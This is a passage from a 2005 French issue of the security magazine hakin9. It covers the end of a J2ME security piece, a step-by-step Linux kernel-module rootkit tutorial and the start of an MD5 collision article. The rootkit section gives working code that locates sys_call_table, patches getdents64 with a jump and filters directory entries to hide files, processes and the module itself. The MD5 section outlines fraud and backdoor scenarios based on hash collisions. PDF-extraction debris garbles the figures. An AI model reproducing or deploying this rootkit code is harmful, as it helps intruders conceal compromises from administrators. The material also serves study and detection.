bancaire citée auparavant, par exemple). Si l'interception des données envoyées via le réseau GSM (entre le périphérique et le point d'accès à Internet) est difficile et coûteuse (et dans la plupart des cas – non rentable), cela est simple à faire à partir de la couche Internet (point d'accès à Internet – serveur de communication de destination). Pour en savoir plus sur les méthodes d'interception des connexions Internet, reportez-vous aux articles de Maciej Szmit Sniffing dans l'ethernet commuté (hakin9 02/2003) ou de Piotr Tyburski Attaque man in the middle sur la connexion chiffrée de Jabber (hakin9 05/2004) – une fois les modifications nécessaires effectuées, le savoir-faire acquis peut être utilisé pour écouter la transmission réseau. Comment peut-on se protéger contre le vol des données réseaux ?
hakin9 N o 2/2005
HTTP est le seul protocole réseau supporté par MIDP 1.0 – seulement ce protocole doit être disponible sur le périphérique compatible avec MIDP 1.0. Il est vrai que certains périphériques utilisent d'autres protocoles de communication mais cela n'est dû qu'à la bonne volonté de leurs fabricants. En outre, certains périphériques (certains téléphones Motorola, par exemple) mettent à disposition leurs propres bibliothèques de chiffrage. Celles-ci grâce à la mise en pratique des fonctionnalités matérielles spécialisées peuvent être beaucoup plus rapides que les solutions externes (third party). Mais il n'y a point de roses sans épines. Le fait d'utiliser dans une application mobile créée des solutions natives pour un périphérique contribue à ce que celle-ci
www.hakin9.org
ne soit pas portable entre les périphériques des autres fabricants et parfois même entre les différents modèles des périphériques du même fabricant. C'est pourquoi, si la portabilité est un point important dans votre projet, la mise en pratique des API natives n'est pas une bonne idée. Si MIDP 1.0 ne met à disposition que le protocole HTTP, MIDP 2.0 donne au développeur la possibilité d'utiliser plusieurs protocoles de communication comme, entre autres, SSL (dans notre cas – HTTPS). Si alors l'application doit marcher en MIDP 1.0 ou SSL (HTTPS) est, pour certaines raisons, un moyen de protection insuffisant, il faut se servir des bibliothèques de chiffrage externes comme, par exemple, le paquet BouncyCastle décrit dans le scénario n° 4. Comme dans le scénario 4, si l'envoi et la réception des données depuis les connexions réseaux sont gerés par des fonctions séparées et si avant l'envoi et après la réception des données, vous chiffrez/déchiffrez les données, le processus de chiffrage sera invisible pour le reste de l'application. Ainsi, vos données seront sûres.
Faiblesse humaine, puissance numérique
La protection contre les attaques nécessite la mise en pratique des mécanismes disponibles, fournis par J2ME et elle n'est pas difficile à faire. Mais comme vous avez pu le voir, les scénarios des attaques profitent notamment de l'imperfection humaine – de l'insouciance des développeurs qui traitent à la légère la question de la sécurité des applications créées et de la naïveté des utilisateurs inconscients des dangers liés aux logiciels de provenance inconnue. Les créateurs de l'environnement de développement Java 2 Micro Edition ont porté l'accent principal sur la sécurité à l'étape du projet – l'attaque directe contre les applications écrites correctement en J2ME semble être difficile et même impossible à réaliser. n
27
Rootkit personnel dans GNU/Linux Mariusz Burdach
La tâche principale des rootkits est de dissimuler la présence de certains fichiers et processus dans le système attaqué. La création de cette fonctionnalité n'est pas difficile.
Attaque
L
28
a compromission réussie d'un système n'est que le début du travail de l'intrusion. En effet, l'accès au compte du superutilisateur ne servira à rien si l'administrateur détecte que l'intégrité du système a été violée. L'étape suivante du travail du pirate consiste à effacer les traces de son passage à l'aide d'un rootkit, de façon à pouvoir profiter ultérieurement de la machine-victime. Essayons donc de créer un simple rootkit pour les systèmes Linux (sous forme d'un module chargeable à partir du noyau). Ce rootkit sera responsable de la dissimulation des fichiers, répertoires et processus portant un préfixe (dans notre cas hakin9). Tous les exemples ont été créés et lancés dans le système d'exploitation RedHat Linux avec le noyau 2.4.18. Le code entier est disponible sur le CD hakin9.live joint au magazine. Les informations de cet article seront particulièrement utiles aux administrateurs ainsi qu'aux personnes qui s'occupent de la sécurité. Les méthodes décrites peuvent être utilisées pour cacher les fichiers ou processus critiques. Elles peuvent être également utiles pour la détection de la compromission des systèmes d'exploitation.
www.hakin9.org
Mécanisme du fonctionnement
La tâche principale de notre rootkit consistera à cacher les fichiers qui se trouvent physiquement dans le système de fichiers local (cf. l'Encadré Tâches des rootkits). Il ne sera géré que localement et travaillera uniquement au niveau du noyau du système d'exploitation (il modifiera certaines structures de données). Ce type de code a sans doute beaucoup plus d'avantages que les programmes qui remplacent ou modifient les objets dans le système de
Cet article explique... •
comment créer son propre rootkit dissimulant la présence de fichiers et processus portant les noms avec des préfixes déterminés.
Ce qu'il faut savoir... • • • •
les notions de base de l'assembleur, le langage de programmation C, le mécanisme de fonctionnement du noyau du système Linux, créer les modules simples du noyau.
hakin9 N o 2/2005
Rootkit dans GNU/Linux
Tâches des rootkits
La tâche la plus importante des rootkits consiste à dissimuler la présence de l'intrus dans le système d'exploitation compromis (de plus, certains permettent de tenir une communication cachée entre la victime et l'intrus). Les fonctions principales du rootkit sont : • • • • • •
dissimuler les processus, dissimuler les fichiers et leur contenu, dissimuler les registres et leur contenu, dissimuler les ports ouverts et les canaux de communication, enregistrer toutes les frappes au clavier, intercepter les mots de passe dans le réseau local.
fichiers (par objets on comprend les programmes comme ps, taskmgr.exe ou bibliothèques win32.dll ou libproc). Il est facile de deviner que le plus grand avantage est le fait qu'il est difficile de détecter ce type de code – il ne modifie aucun objet sur le disque mais certaines structures de données dans la mémoire réservée pour le noyau du système d'exploitation. Seul est modifié l'objet représentant l'image du noyau du système qui doit se trouver dans le système de fichiers local (à moins que le système ne soit amorcé à partir d'un CD, d'une disquette ou d'un réseau).
Processus d'appel d'une fonction système
Comme nous l'avons dit, notre module du rootkit modifiera certaines structures de données dans la mémoire réservée pour le noyau du système d'exploitation. Nous devons donc choisir la place à modifier. La Listing 1. Déclaration de la structure dirent64 struct dirent64 { u64 s64 unsigned short unsigned char char };
d_ino; d_off; d_reclen; d_type; d_name[];
hakin9 N o 2/2005
Tableau 1. Fonctions système les plus importantes dans Linux Fonction système
Description
SYS _ open
ouvre le fichier
SYS _ read
lit le fichier
SYS _ write
enregistre dans un fichier
SYS _ execve
exécute un programme
SYS _ getdents / SYS _ getdent64
retournent le contenu du répertoire
SYS _ execve
utilisée par le système lors du lancement d'un fichier
SYS _ socketcall
gestion des sockets
SYS _ setuid / SYS _ getuid
servent à gérer l'identifiant de l'utilisateur
SYS _ setgid / SYS _ getgid
servent à gérer l'identifiant du groupe
SYS _ query _ module
l'une des fonctions servant à gérer les modules
méthode la plus simple (et l'une des plus faciles) consiste à intercepter l'une des fonctions système. Mais il existe beaucoup de places à modifier. Par exemple, nous pouvons intercepter la fonction gérant l'interruption 0x80 générée par les applications de l'espace utilisateur, ou bien la fonction system _ call() qui a pour le but d'appeler la fonction système appropriée. À vrai dire, le choix de la place dépend du but que nous voulons atteindre à l'aide du code écrit ainsi que le niveau de difficulté de détection de ce code. Dans le système Linux, nous pouvons distinguer deux méthodes d'appel des fonctions du système. La première méthode – directe – consiste à charger dans le registre du processeur les valeurs appropriées puis de générer l'interruption 0x80. L'exécution de la commande int 0x80 par le programme de l'utilisateur met le processeur en mode de travail protégé et appelle la fonction système appropriée. La seconde méthode, indirecte, consiste à utiliser les fonctions disponibles dans la bibliothèque glibc. Nous allons utiliser cette deuxième méthode qui est plus adaptée à nos besoins.
Choix d'une fonction système
Linux possède un jeu de fonctions système permettant d'exécuter dif-
www.hakin9.org
férentes opérations dans le système d'exploitation, comme par exemple ouvrir ou lire des fichiers. La liste complète des fonctions système est disponible dans les sources du noyau et dans le fichier /usr/include/asm/ unistd.h – leur nombre diffère en fonction de la version du noyau (pour le noyau 2.4.18 il y en a 239). Le Tableau 1 présente la liste des fonctions système les plus importantes et dont la modification peut nous être utile. La fonction sys _ getdents() semble être idéale pour être modifiée car elle va nous permettre de cacher les fichiers, répertoires et processus. La fonction sys _ getdents() est utilisée par les outils comme ls ou ps. Nous pouvons le vérifier grâce à l'outil strace qui à l'aide de la fonction système ptrace() suit le fonctionnement des processus fils. Lançons donc strace, en saisissant le nom du fichier exécutable comme paramètre. Nous verrons que la fonction getdents64() est appelée deux fois : $ strace /bin/ls ... getdents64(0x3, 0x8058720, 0x1000, 0x8058720) = 760 getdents64(0x3, 0x8058720, 0x1000, 0x8058720) = 0 ...
La fonction getdents64() ne diffère de getdents() que par la structure
29
������
������
���
����
N'oublions pas que pendant la création du programme, nous ne connaissons pas encore l'adresse de notre fonction. C'est après le chargement du code dans la mémoire que nous pouvons déterminer cette adresse et la saisir dans le tableau où se trouve notre code. Les instructions écrites seront utilisées pour appeler la fonction originale getdents64(). L'algorithme du fonctionnement est donc le suivant :
���
������
��
�
�
�
������
��
��
�
�
������
��
��
�
�
�
�
�
������
��
��
�
�
�
�
�
������
��
��
�
�
�
�
�
������
��
����
�
�
�
�
�
�
�
�
�
Figure 1. Exemple du contenu de la structure dirent64 chargée – elle utilise la structure dirent64, et non dirent. La déclaration de la structure dirent64 est présentée dans le Listing 2. Comme vous pouvez le constater, elle diffère de la structure dirent par le champ d _ type, les types de champ pour stocker l'information sur le numéro de l'i-nœud (inode) et le décalage vers la structure suivante. La construction de la structure dirent64 est pour nous particulièrement importante parce qu'elle sera soumise aux modifications. La Figure 1 présente l'exemple du contenu de la structure dirent64. C'est de cette structure que nous supprimerons les inscriptions concernant les objets à cacher. Chaque inscription représente un fichier du répertoire concret.
Attaque
Modification des fonctions du système
Puisque nous savons quelle fonction système sera modifiée, nous devons choisir la méthode de modification. La méthode la plus simple consiste à remplacer l'adresse de cette fonction. L'information sur l'adresse de cette fonction se trouve dans le tableau sys _ call _ table (ce tableau stocke les informations sur les adresses de toutes les fonctions système). Nous pouvons donc écrire notre propre fonction getdents64(), la charger en mémoire, puis enregistrer son Listing 2. Stockage et saut à l'adresse de la fonction stockée dans le registre movl $adresse_de_la_fonction, %ecx jmp *%ecx
30
adresse dans le tableau sys _ call _ table (en remplaçant l'adresse de la fonction originale). Cette méthode de modification de la fonction est particulièrement populaire dans les systèmes Windows. Une autre solution consiste à remplacer la fonction qui appellera la fonction système et filtrera les résultats retournés – nous essayerons d'exécuter aussi cette opération. Cette méthode est basée sur le remplacement de quelques premiers octets de la fonction système originale. Ce remplacement consistera à stocker l'adresse de la nouvelle fonction dans le registre et d'exécuter un saut à l'aide de l'instruction jmp de l'assembleur à cette adresse, juste après l'appel de la fonction système (cf. le Listing 2). Comme nous l'avons déterminé auparavant, après la prise de contrôle du fonctionnement de la fonction système, nous appelons la version originale de la fonction getdents64(). Après avoir obtenu le résultat retourné par getdents64(), nous filtrons certaines informations (par exemple le nom du fichier). Pour pouvoir effectuer cette opération, nous devons protéger les instructions de la fonction originale contre le remplacement.
�����
����
�����
����
•
•
•
enregistrez quelques premiers octets de la fonction getdents64() originale (l'adresse de la fonction getdents64() se trouve dans le tableau sys _ call _ table), mémorisez l'adresse de la nouvelle fonction (n'oubliez pas que vous pourrez connaître l'adresse de la nouvelle fonction seulement après le chargement de la fonction dans la mémoire), enregistrez le code du Listing 2 contenant l'instruction du saut à l'adresse du point 2 à l'adresse mémoire indiquée par le tableau sys _ call _ table ; le code doit occuper la même taille que celle définie dans le point 1.
Après l'exécution de ces opérations, le noyau du système sera modifié de façon appropriée (cf. la Figure 2). Lors du fonctionnement du système, chaque appel à la fonction getdents64() entraîne un saut à notre fonction qui exécutera les opérations suivantes : •
copie des quelques premiers octets de la fonction originale à l'adresse mémoire indiquée par le tableau sys _ call _ table, �����
����
�����
����
Figure 2. État du noyau après la modification de la fonction sys_getdents64()
www.hakin9.org
hakin9 N o 2/2005
Rootkit dans GNU/Linux
• • •
appelle de la fonction originale sys _ getdents64(), filtrage du résultat retourné par la fonction originale, rétablissement du code du Listing 2 à l'adresse indiquée par le tableau sys _ call _ table ainsi que l'adresse de la fonction sys _ getdents64().
Nous pouvons constater que ces algorithmes cachent une inconnue qui est le nombre d'octets initiaux à copier. Vérifions donc le nombre d'octets occupant le code du Listing 2. Pour connaître le nombre d'octets occupé par ce code, il faut créer un programme simple qui va permettre après la compilation (et ensuite, après le désassemblage) de définir le nombre d'octets à copier (cf. l'article Ingénierie inverse du code exécutable ELF dans l'analyse après intrusion, hakin9 1/2005). Ce programme est présenté dans le Listing 3. Ensuite, nous allons convertir au format assembleur et d'opcode le contenu de la fonction main() qui se trouve dans la section du code exécutable (.text) de notre programme (Listing 3). Ce qui est important pour nous, c'est la conversion au format opcode que nous stockons dans le tableau et qui sera utilisé pour remplacer le code original (cf. le Listing 3). Après la suppression du prologue et de l'épilogue de la fonction, il nous reste sept octets que nous mettons dans le tableau : static char new_getdents_code[7] = "\xb9\x00\x00\x00\x00" /* movl $0,%ecx */ "\xef\xe1" /* jmp *%ecx */
Listing 3. Programme calculant le nombre d'octets à copier main() { asm("mov $0,%ecx\n\t" "jmp *%ecx\n\t" ); }
notre fonction et de la mettre dans le tableau new _ getdents _ code. Il faut remarquer que l'adresse doit commencer à partir du premier élément du tableau. Après le stockage de la fonction dans la mémoire (le chargement du module à l'aide de la commande insmod), le tableau est mis à jour de la façon suivante : *(long *)&new_getdents_code[1] = (long)new_getdents;
Stockage du code dans la mémoire
Notre rootkit sera installé dans la mémoire sous forme d'un module. Mais il ne faut pas oublier que cela ne sera pas toujours possible – certains administrateurs bloquent la possibilité de charger dynamiquement les modules dans le noyau. Pour stocker notre code, nous allons utiliser la fonction init _ module() qui est appelée lors du chargement du module dans la mémoire (à l'aide de la commande insmod modul.o). Cette fonction doit remplacer les sept premiers octets de la fonction originale getdents64(). Dans le cas présent nous nous heurtons à un problème – tout d'abord, il faut trouver l'adresse de la fonction originale getdents64(). Le plus simple serait de charger cette adresse à partir du tableau sys _
call _ table.
Hélas, l'adresse du tableau sys _ call _ table comme les adresses des autres éléments critiques du système ne sont pas exportées (c'est une sorte de protection contre le chargement de l'adresse à l'aide d'extern). Pour localiser l'adresse sys _ call _ table, il existe plusieurs méthodes. Nous pouvons, par exemple, utiliser l'instruction sidt pour charger le pointeur à l'adresse du tableau IDT (cf. l'article Quelques méthodes simples pour détecter débogueurs et l'environnement VMware de ce numéro de hakin9), puis charger à partir de ce tableau l'adresse de la fonction responsable de la gestion de l'interruption 0x80 et lire l'adresse du tableau sys _ call _ table de la fonction system _ call(). Malheureusement, cette méthode fonctionne seulement sur les systèmes d'exploitation qui ne sont pas lancés sous VMware ou UML. Une autre méthode consiste à charger l'adresse directement du fichier System.map créé lors de la compilation du noyau. Il contient tous les symboles importants et leurs adresses. Quant à nous, nous nous servirons d'une autre méthode qui consiste à utiliser les fonctions dont les adresses sont exportées par le noyau. Cela nous permettra de retrouver l'adresse du tableau sys _ call _ table. L'adresse sys _ call _ table se trouve dans la mémoire, quelque part entre les adresses des symboles loops _ per _ jiffy et boot _ cpu _ data. Il est facile de deviner que ces symboles sont exportés. L'adresse de la fonction système sys _ close() est aussi exportée.
;
C'est aussi le nombre d'octets que nous devons laisser provenant de la fonction originale. Au lieu de 00 00 00 00, l'adresse de notre fonction sera saisie. Le second tableau, de sept éléments, est créé pour les instructions de la fonction originale getdents64(). La dernière opération dans cette étape est de trouver l'adresse de
hakin9 N o 2/2005
Listing 4. Désassemblage du programme du Listing 3 080483d0 80483d0: 80483d1: 80483d3: 80483d8: 80483da: 80483db: 80483dc: 80483dd:
<main>: 55 89 e5 b9 00 00 00 00 ff e1 5d c3 90 90
push mov mov jmp pop ret nop nop
www.hakin9.org
%ebp %esp,%ebp $0x0,%ecx *%ecx %ebp
31
Listing 5. Le code qui permet de retrouver l'adresse de sys_call_table for (ptr = (unsigned long)&loops_per_jiffy; ptr < (unsigned long)&boot_cpu_data; ptr += sizeof(void *)){ unsigned long *p; p = (unsigned long *)ptr; if (p[__NR_close] == (unsigned long) sys_close){ sct = (unsigned long **)p; break; }
Cette fonction sera utile pour vérifier si l'adresse trouvée du tableau est correcte. La valeur du septième élément du tableau devrait être l'adresse de la fonction sys _ close(). L'ordre des fonctions système peut être consulté dans le fichier d'en-tête /usr/include/ asm/unistd.h. Le fragment de code responsable de l'identification du tableau sys _ call _ table est présenté dans le Listing 5. Une fois l'adresse du tableau sys _ call _ table retrouvée, nous devons exécuter deux opérations qui nous permettrons d'intercepter tous les renvoies à la fonction originale getdents64(). Tout d'abord, nous copions les sept premiers octets de la fonction originale getdents64() dans le tableau syscall _ code[] : _memcpy( syscall_code, sct[__NR_getdents64], sizeof(syscall_code)
Gestion – communication avec l'espace utilisateur Maintenant, il faut s'occuper de la façon de transmettre les informations de l'espace utilisateur (userspace) à notre rootkit – il faut donc trouver la méthode afin de transférer les données sur les objets à cacher au rootkit. Ce n'est pas simple car l'accès direct de l'espace utilisateur à l'espace adressable réservé pour le code du noyau n'est pas possible. L'une des possibilités d'échanger les données est d'utiliser le système de fichiers procfs. Comme vous devez le savoir, procfs contient l'état actuel de la mémoire du système et permet de modifier certains paramètres du noyau directement à partir de l'espace utilisateur. Par exemple, si nous voulons modifier le nom de notre ordinateur, il suffit de saisir un nouveau nom dans le fichier /proc/ sys/kernel/hostname :
);
Attaque
Ensuite, nous remplaçons les sept premiers octets de données de la fonction originale par le code du tableau new _ syscall _ code[]. Là se trouve l'instruction jmp à l'adresse mémoire où notre nouvelle version de la fonction est stockée : _memcpy( sct[__NR_getdents64], new_syscall_code, sizeof(syscall_code) );
Désormais, au lieu d'utiliser la fonction originale getdents64(), c'est notre fonction qui sera appelée.
32
# echo hakin9 \ > /proc/sys/kernel/hostname
Nous commençons par créer un nouveau fichier, par exemple hakin9, dans le système de fichiers principal procfs (c'est le répertoire /proc). Dans ce fichier, nous saisirons le nom à partir duquel commenceront les noms des objets à cacher. Dans notre exemple, nous admettons qu'il est possible d'entrer le nom d'un préfixe. C'est suffisant – il est possible de cacher un nombre quelconque de fichiers, répertoires et processus dont les noms commencent par le préfixe saisi (ici hakin9). Cette opération permet de cacher le fichier de
www.hakin9.org
Listing 6. Prototype de la fonction creat_proc_entry() proc_dir_entry *create_proc_entry (const char *name, mode_t mode, struct proc_dir_entry *parent)
configuration hakin9 qui se trouve dans le répertoire /proc. La fonction qui crée le fichier dans le système de fichiers procfs s'appelle create _ proc _ entry(). Son prototype est présenté dans le Listing 6. Chaque fichier créé par create _ proc _ entry() dans procfs a la structure proc _ dir _ entry. À ce fichier sont associées les fonctions appelées pendant les opérations de lecture/écriture de l'espace utilisateur. La déclaration de la structure proc _ dir _ entry est présentée dans le Listing 7. Elle est également disponible dans le fichier d'en-tête /usr/src/linux-2.4/include/ linux/proc_fs.h. La plupart des champs sont actualisés automatiquement pendant la création d'un objet. Trois d'entre eux nous intéressent particulièrement. Pour nos besoins, il est nécessaire de créer deux fonctions : la première est write _ proc qui lit les données saisies par l'utilisateur et les enregistre dans le tableau dont le contenu est ensuite comparé aux inscriptions dans la structure dirent64. La seconde fonction est read _ proc – elle affi che les données pour les utilisateurs lisant le fichier /proc/hakin9. Le dernier élément est le champ data qui pointe vers la structure qui dans notre exemple, est composée de deux tableaux et dont l'un d'eux (value) contient le nom de l'objet à cacher. Le code source de la fonction (étant relativement volumineux) se trouve sur le CD joint au magazine.
Filtrage des données
L'élément le plus important de notre rootkit est la fonction qui appelle la fonction originale getdents64() et filtre une partie de résultats. Dans
hakin9 N o 2/2005
Rootkit dans GNU/Linux
notre exemple, c'est le nom de l'objet saisi par l'utilisateur dans le fichier portant le nom hakin9 se trouvant dans le répertoire /proc. Comme vous pouvez vous le rappeler, premièrement notre fonction appellera la fonction originale getndents64(), et ensuite vérifiera si la structure dirent64 ne contient pas d'objets à cacher. Pour appeler la fonction originale, nous devons d'abord la reconstruire. Pour cela, nous appellerons la fonction _ memcpy() qui stockera le contenu du tableau syscall _ code[] à l'adresse mémoire indiquée par le tableau sys _ call _ table (c'est l'adresse de la fonction système sys _ getdents64()). Puis la fonction originale getdents64() est appelée. Le nombre d'octets lus par cette fonction est enregistré dans la variable orgc. Comme vous le savez déjà, la fonction getdetns64() lit la structure dirent64. Notre fonction doit vérifier la structure dirent64 et éventuellement, supprimer l'inscription à cacher. Il ne faut pas oublier que la fonction getdents64() retourne le nombre d'octets lus, de part cela, il faut réduire cette valeur d'un multiple de l'inscription à cacher contenue dans la variable d _ reclen. Le fragment de la fonction décrit ci-dessus est présenté dans le Listing 8. La dernière opération consiste à mettre dans notre code la macrocommande EXPORT _ NO _ SYMBOLS qui bloque la possibilité d'exporter les symboles à partir du module. Si nous négligeons cette macro, le module exportera par défaut les informations sur les symboles et leurs adresses. Tous les symboles exportés par le noyau (y compris ceux exportés par les modules chargeables) sont disponibles dans le tableau qui peut être lu directement à partir du fichier /proc/ksyms. Si notre module n'exporte pas de symboles, il sera plus difficile à détecter. Maintenant, nous n'avons qu'à compiler et charger le module dans la mémoire de l'ordinateur : $ gcc -c syscall.c -I/usr/include/linux-2.4.XX $ su # insmod syscall.o
hakin9 N o 2/2005
Listing 7. Déclaration de la structure proc_dir_entry struct proc_dir_entry { unsigned short low_ino; unsigned short namelen; const char *name; mode_t mode; nlink_t nlink; uid_t uid; gid_t gid; unsigned long size; struct inode_operations * proc_iops; struct file_operations * proc_fops; get_info_t *get_info; struct module *owner; struct proc_dir_entry *next, *parent, *subdir; void *data; read_proc_t *read_proc; write_proc_t *write_proc; atomic_t count; /* use count */ int deleted; /* delete flag */ kdev_t rdev; };
Listing 8. Fragment de la fonction modifiant la structure dirent64 beta = alfa = (struct dirent64 *) kmalloc(orgc, GFP_KERNEL); copy_from_user(alfa,dirp,orgc); newc = orgc; while(newc > 0) { recc = alfa->d_reclen; newc -= recc; a=memcmp(alfa->d_name,baza.value,strlen(baza.value)); if(a==0) { memmove(alfa, (char *) alfa + alfa->d_reclen,newc); orgc -=recc; } if(alfa->d_reclen == 0) { newc = 0; } if(newc != 0) { alfa = (struct dirent64 *)((char *) alfa + alfa->d_reclen); } copy_to_user(dirp,beta,orgc);
Malheureusement, notre module est facile à détecter car il se trouve sur la liste des modules lancés dans le système (cette liste peut être affichée à l'aide de la commande lsmod ou cat /proc/modules). Heureusement, il est assez facile de cacher ce module – il suffit d'utiliser le module clean.o disponible sur Internet ainsi que sur notre CD (cf. l'article SYSLOG Kernel Tunnel – protection des journaux système dans ce numéro de hakin9).
Et ce n'est pas tout
Nous avons présenté les opérations de base qu'il faut effectuer pour écrire
www.hakin9.org
un rootkit personnel tout à fait opérationnel. Mais il reste au moins deux problèmes à résoudre : comment lancer automatiquement le module après chaque redémarrage du système et comment le cacher efficacement. Par exemple par l'ajout du code exécutable aux autres modules, qui sont eux tout à fait légaux. L'autre problème est lié au fait que parfois la possibilité de charger les modules peut être désactivée – dans ce cas, notre code doit être chargé directement dans la mémoire. La solution à tous ces problèmes sera présentée dans le prochain numéro de hakin9. n
33
Menaces liées à l'application de l'algorithme MD5
Philippe Schwaha, Réné Heinzl
MD5 est sans doute l'une des fonctions de hachage les plus populaires – elle est utilisée autant dans les sommes de contrôle simples que dans les fichiers DRM (Digital Rights Management). Bien qu'il soit quasi impossible de révéler une faille de sécurité dans MD5, l'une d'elles a été trouvée par des chercheurs chinois. Analysons les menaces relatives à cette faille.
L
es recherches concernant MD5 ont été menées par quatre chercheurs chinois : Xiaoyun Wang, Dengguo Feng, Xueija Lai et Hongbo Yu. Ils ont présenté les résultats de leurs analyses pendant la conférence CRYPTO en septembre 2004. Leurs explications paraissaient invraisemblables, alors au début personne ne les avait traitées sérieusement. Mais après, d'autres auteurs ont présenté leurs résultats – ils ont confirmé les révélations publiées par les Chinois.
Attaque
Scénarios des attaques
34
Imaginons que nous voulons vendre sur Internet une chose très précieuse. Le prix de cet objet sera très élevé, nous voulons donc conclure un contrat d'achat-vente. Nous trouvons un acheteur, nous nous mettons d'accord sur le prix et nous établissons le contrat (un fichier PDF contenant le contrat sur 1000 euros). Si nous étions capables de créer deux fichiers ayant la même somme de contrôle MD5 et un autre contenu (par exemple, avec le prix de 100 000 euros), nous pourrions tromper l'acheteur. Nous envoyons donc le contrat pour un montant de 1000 euros à l'acheteur – celui-ci
www.hakin9.org
l'accepte, le confirme par sa signature électronique (par exemple à l'aide de gpg) et le renvoie. Grâce au fait que nous avons deux contrats avec la même somme de contrôle MD5, nous pouvons les remplacer – ainsi, nous faisons une affaire en or (outre l'aspect moral de cette entreprise, nous déconseillons bien sûr un tel comportment). L'acheteur doit payer 100 000 euros, il a confirmé le contrat par sa propre signature électronique. Et voici une autre méthode – nous sommes embauchés dans une grande entreprise informatique (comme par exemple celle de Redmond, USA), dans le département de programmation. Nous trouvons que notre employeur ne nous paie pas suffisamment,
Cet article explique... • •
comment exécuter des attaques sur la fonction MD5, comment fonctionne la fonction unidirectionnelle MD5.
Ce qu'il faut savoir... •
la programmation en C++.
hakin9 N o 2/2005
Menaces pour MD5
Comment fonctionne MD5
Un haché (condensé), appelé aussi message digest (de l'anglais condensé de message) est un nombre généré à partir de données d'entrée (par exemple d'un texte). Le haché est plus court que les données initiales et doit être généré de façon à ce qu'une même valeur de haché pour différents messages, soit la moins possible. Si deux messages différents donnent un condensé de message identique, on dit qu'une collision s'est produite. Évidemment, il faut éviter de telles situations – sinon, l'utilisation des fonctions de condensation (de hachage) devient inutile. La fonction de hachage empêchant de récupérer le texte original du contenu du haché est appelé fonction à sens unique. MD5 est justement une fonction à sens unique. Elle a été conçue au MIT (Massachusetts Institute of Technology) par Ronald Rivest. Elle génère un haché du message d'une longueur de 128 bits et est utilisée pour vérifier l'intégrité des données. La spécification de la fonction MD5 est disponible dans le document RFC 1321 (cf. l'Encadré Sur le réseau).
Première étape : préparation des données
MD5 utilise toujours des données d'une longueur totale égale à un multiple de 512 bits. Pour obtenir un texte de la longueur exigée, celui-ci doit être préparé de la manière suivante : • •
un simple bit de valeur 1 précédé de zéros est ajouté au message de façon à ce que sa longueur soit inférieure à 64 d'un multiple de 512 bits, les 64 bits manquants sont utilisés pour stocker la longueur originale du message – si le message avait une longueur invraisemblable de 2^64 bits (c'est-à-dire 2097152 teraoctets), seuls les 64 derniers bits sont ajoutés.
Ces actions sont toujours effectuées, même si le message a déjà la longueur exigée (un multiple de 512 octets).
Deuxième étape : calculs
Ensuite, le haché est créé. Il est obtenu à la suite de la modification multiple de la valeur de 128 bits décrivant l'état. Pour comprendre plus facilement ce processus, la Figure 1 présente le schéma de cet algorithme. Lors des calculs, l'état de 128 bits est divisé en quatre fragments (blocs) de 32 bits – appelons-les A, B, C et D. Au début du fonctionnement de l'algorithme, ces valeurs sont prises pour : A = 0x67452301, B = 0xefcdab89, C = 0x98badcfe, D = 0x10325476. L'état initial est ensuite modifié. Cela se fait par le traitement de chaque bloc de données d'entrée dans l'ordre approprié. Le traitement de chaque bloc de données d'entrée est effectué en quatre phases. Chaque phase, appelée aussi tour, se compose de 16 opérations, ce qui donne 64 opérations pour chaque bloc de données. Le bloc d'entrée de 512 bits est divisé en 16 chaînes de données d'une longueur de 32 bits. La plus importante pour chaque tour est l'une des fonctions suivantes : • • • •
F(X,Y,Z) = (X AND Y) OR (NOT(X) AND Z),
G(X,Y,Z) = (X AND Z) OR (Y AND NOT(Z)), H(X,Y,Z) = X XOR Y XOR Z,
I(X,Y,Z) = Y XOR (X OR NOT(Z)).
Chacune d'entre elles charge trois portions de données de 32 bits et les transforme en une valeur de 32 bits. Dans chaque tour, à l'aide de ces fonctions, de nouvelles variables d'état temporelles sont calculées (A, B, C et D). Outre les données initiales, pour calculer la valeur du haché, les données du tableau contenant les parties entières 4294967296 * abs(sin(i)) sont utilisées. Les résultats de chaque phase sont employés dans la phase suivante après leur ajout à la fin du bloc de données d'entrée, aux valeurs précédentes A, B, C et D représentant l'état. Après avoir répété les opérations sur tous les blocs d'entrée, nous obtenons le haché sous forme d'une valeur de 128 bits décrivant l'état.
hakin9 N o 2/2005
www.hakin9.org
nous voulons donc accomplir une vengeance numérique sanglante. Nous créons un fichier avec le programme que nous sommes en train d'élaborer (appelons cette archive dataG.fi le). Ensuite, nous créons encore un fichier (portant le nom dataD.fi le), mais cette fois-ci, il contient les données dangereuses, comme un cheval de Troie ou une porte dérobée. Nous envoyons le fichier innocent dataG.fi le au département contrôlant les binaires, qui vérifiera les données et créera pour lui les sommes de contrôle et les signatures MD5. Le programme est ensuite placé sur un serveur FTP. Maintenant, nous pouvons remplacer le fichier dataG.fi le par le fichier malicieux dataD.fi le – les sommes de contrôle MD5 seront identiques. Même si quelqu'un, un jour se rend compte du contenu malicieux du fichier, c'est le département de contrôle de fichiers qui en sera responsable. Scénario suivant : nous écrivons un jeu simple et plaisant ou un petit programme très utile. Nous mettons notre œuvre (portant, par exemple, le nom dataG.file) et quelques d'autres fichiers sur un site Web. Ensuite, quelqu'un qui téléchargera notre fichier, décompactera l'archive et installera les binaires. Vu qu'il est un utilisateur consciencieux, il crée les sommes de contrôle de ces fichiers (à l'aide de Tripwire ou tout autre outil exploitant MD5). Mais si nous obtenions l'accès à sa machine (par quelque moyen que ce soit), nous pourrions remplacer dataG.file par notre fichier dataD.file. Le système de détection des modifications n'enregistrera aucun changement – ces fichiers ont la même somme de contrôle, et nous avons une porte dérobée parfaite, dissimulée sur l'ordinateur-victime. Impossible ? Actuellement, ces types d'attaques sont heureusement irréels – les chercheurs chinois, sous la direction de Wang, n'ont pas publié jusqu'alors l'algorithme complet permettant de retrouver la clé de collision (collision key) pour un message quelconque. Nous
35
�������� ��������
������������������������������� �������������������������� ����������
�
�
�
�
�������������������������������� ���������������������������
�
�
�
�
S'attaquer à une signature électronique
�
��������������
�
����������������
�
������������ ��������������
����������������� �
�
�
�
�
�
��������������
�
����������������
�
������������ ���������������
• •
�
�
�
�
�
��������������
�
����������������
�
�������������
����������������� �
�
�
�
�
�
��������������
�
����������������
�
������ ��������������
�����������������
Attaque
� �
le fichier exécutable create-package, le fichier exécutable self-extract, deux fichiers différents avec les contrats au format PDF (contract1.pdf, contract2.pdf).
